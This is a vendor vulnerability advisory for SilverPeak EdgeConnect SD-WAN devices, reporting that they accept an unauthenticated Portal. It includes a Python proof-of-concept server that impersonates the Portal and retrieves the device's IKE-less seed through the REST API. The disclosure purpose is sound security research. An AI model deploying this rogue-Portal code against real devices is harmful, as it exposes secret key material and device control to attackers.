Security Advisory: SDWAN-New-Hop-2020-31-01: Malicious Portal Can Access REST API on EdgeConnect

Summary

There is no authentication between cloud SilverPeak's Portal on the Internet and customers' EdgeConnect devices. EdgeConnect doesn't authenticate Portal. Portal can execute any command on EdgeConnect via REST API.

Vulnerability Description

We identified the following vulnerabilities in SilverPeak SD-WAN secure communications design and implementation:

1. EdgeConnect doesn't authenticate Portal: we were able to connect an EdgeConnect device to a Portal emulator and execute a command on the EdgeConnect.
2. Portal has access to EdgeConnect's REST API without any authentication.
3. Any Websocket-based remote service proxied to 127.0.0.1:3000 will get unrestricted access to the REST API.

Proof of Concept

Setup

1. We implemented a simple service emulating malicious Portal in Python: a TLS-enabled web server with self-signed X.509 certificate accepting all Websocket connections and responding with the following query:

```
{
  "url":"/vxoa/httpTunnel",
  "data":
  {
        "method":"GET",
        "path":"/rest/json/ikelessSeed",
        "headers":
        {
              "websock_user":"Orchestrator"
```

```
            }
        },
        "id":"0"
    }
```

2. We added and activated a new Portal into the config of the tested EdgeConnect using web-UI.

Test

1. We applied the new settings and observed the following.
2. The EdgeConnect established a connection with our Portal.
3. Our Portal sent the request to /rest/json/ikelessSeed.
4. The seed was received.

Code

```
#!/usr/bin/env python

# WSS (WS over TLS) server example, with a self-signed certificate

import asyncio
import pathlib
import ssl
import websockets

async def hello(websocket, path):
    name = await websocket.recv()
    print(f"< {name}")

    greeting =
'{"url":"/vxoa/httpTunnel","data":{"method":"GET","path":"/rest/json/ikelessSeed","headers"
:{"websock_user":"Orchestrator"}},"id":"0"}'
    await websocket.send(greeting)
    print(f"> {greeting}")

    response = await websocket.recv()
    print(f"< resp: {response}")


ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
localhost_pem = pathlib.Path(__file__).with_name("server.pem")
ssl_context.load_cert_chain(localhost_pem)

start_server = websockets.serve(
    hello, "0.0.0.0", 443, ssl=ssl_context
)

asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()
```

Vulnerable/Tested Versions

We were able to reproduce the issue on the following versions of EdgeConnect software:

1. 8.1.7

Access was limited to installations with these versions.

Impact

This is a very critical vulnerability: any device on the Internet can access EdgeConnect's REST API.

Vendor Contact Timeline

2020-31-01	We contacted the vendor through sirt@silver-peak.com and sent the advisory.
2020-01-05	Public release of the security advisory.

Solution

Unknown at the present time.

Credits

Denis Kolegov, Mariya Nedyak, Anton Nikolaev from SD-WAN New Hop Team.